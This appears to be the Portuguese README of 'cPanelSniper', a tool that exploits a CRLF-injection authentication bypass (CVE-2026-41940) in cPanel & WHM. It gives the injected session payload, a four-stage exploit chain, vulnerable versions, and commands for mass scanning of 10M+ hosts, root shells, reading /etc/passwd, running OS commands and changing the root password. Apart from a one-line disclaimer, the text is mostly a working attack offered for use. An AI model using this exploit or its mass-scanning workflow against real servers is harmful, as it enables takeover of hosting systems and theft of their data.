
cPanelSniper ESTÁVEL - CVE-2026-41940 otimizado para 10M+ alvos
CVE-2026-41940 — Bypass de Autenticação do cPanel & WHM via Injeção CRLF em Arquivo de Sessão
Cadeia de exploração em 4 estágios · Shell WHM Interativo · VERDADEIRAMENTE ESTÁVEL para 10M+ alvos · Zero uso de memória · apenas stdlib
cPanelSniper é um framework de exploração focado em CVE-2026-41940, uma vulnerabilidade crítica de bypass de autenticação que afeta cPanel & WHM. A vulnerabilidade permite que atacantes remotos não autenticados obtenham acesso WHM de nível root injetando sequências CRLF no arquivo de sessão por meio do cabeçalho HTTP Authorization — sem nenhuma credencial válida.
Somente para testes de penetração autorizados e programas de bug bounty.
Esta versão é otimizada para escanear 10.000.000+ alvos com ZERO uso de memória.
| Problema | Versão Original | Versão Corrigida |
|---|---|---|
| Uso de Memória | Carrega todos os alvos na RAM | Transmite alvos linha por linha (0 memória) |
| 10M Alvos | OOM → Encerrado ❌ | Conclui com sucesso ✅ |
| Retomada | Não suportada | Flag --resume |
| Progresso | Sem ETA | ETA em tempo real + taxa + estatísticas |
| Resultados | Salvos apenas no final | Salvos a cada 60s (configurável) |
--resumesubfinder, httpx, shodanA causa raiz está em Session.pm: a função saveSession() chama filter_sessiondata() depois de gravar o arquivo de sessão no disco. Isso significa que caracteres CRLF incorporados no valor do cabeçalho Authorization: Basic são gravados literalmente no arquivo de sessão, injetando campos controlados pelo atacante antes da sanitização ocorrer.
Fluxo normal:
POST /login/ → filter_sessiondata() → gravar sessão → verificação de auth
Fluxo vulnerável:
POST /login/ → gravar sessão (payload CRLF injetado) → filter_sessiondata() → verificação de auth lê arquivo envenenado
O valor Authorization: Basic decodifica para:
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1
Esses campos são gravados diretamente no arquivo de sessão no disco. Quando lidos de volta, o cPanel trata a sessão como uma sessão root totalmente autenticada.
┌─────────────────────────────────────────────────────────────┐
│ Estágio 0 — Descoberta do Hostname Canônico │
│ GET /openid_connect/cpanelid → 307 → hostname real │
├─────────────────────────────────────────────────────────────┤
│ Estágio 1 — Criar Sessão Pré-Auth │
│ POST /login/?login_only=1 (credenciais erradas) │
│ ← 401 + cookie whostmgrsession │
├─────────────────────────────────────────────────────────────┤
│ Estágio 2 — Injeção CRLF │
│ GET / + Cookie: session + Authorization: Basic <payload> │
│ cpsrvd grava campos CRLF no arquivo de sessão │
│ ← 307 Location: /cpsessXXXXXXXXXX/... │
├─────────────────────────────────────────────────────────────┤
│ Estágio 3 — Propagar (gadget do_token_denied) │
│ GET /scripts2/listaccts │
│ Aciona flush raw→cache — campos injetados tornam-se ativos │
│ ← 401 Token negado (esperado) │
├─────────────────────────────────────────────────────────────┤
│ Estágio 4 — Verificar Acesso Root WHM │
│ GET /cpsessXXXXXXXXXX/json-api/version │
│ ← 200 {"version":"11.x.x.x","result":1} = PWNED │
└─────────────────────────────────────────────────────────────┘
| Branch | Vulnerável | Corrigida |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help
Nenhuma instalação via pip necessária. Apenas stdlib Python 3.8+.
# Alvo único — apenas varredura
python3 cPanelSniper.py -u https://target.com:2087
# Alvo único — shell interativo após bypass
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# Lista grande de alvos — 10M+ alvos (VERDADEIRAMENTE ESTÁVEL)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
# Retomar varredura interrompida
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
# Listar todas as contas cPanel no servidor
python3 cPanelSniper.py -u https://target.com:2087 --action list
# Executar comando do SO
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"
# Obter informações do servidor (hostname, carga, disco, host MySQL)
python3 cPanelSniper.py -u https://target.com:2087 --action info
# Obter versão do cPanel
python3 cPanelSniper.py -u https://target.com:2087 --action version
# Alterar senha do root
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'
# Shell WHM interativo
python3 cPanelSniper.py -u https://target.com:2087 --action shell
# subfinder → httpx → salvar em arquivo → escanear 10M+ alvos
subfinder -d target.com -silent | \
httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json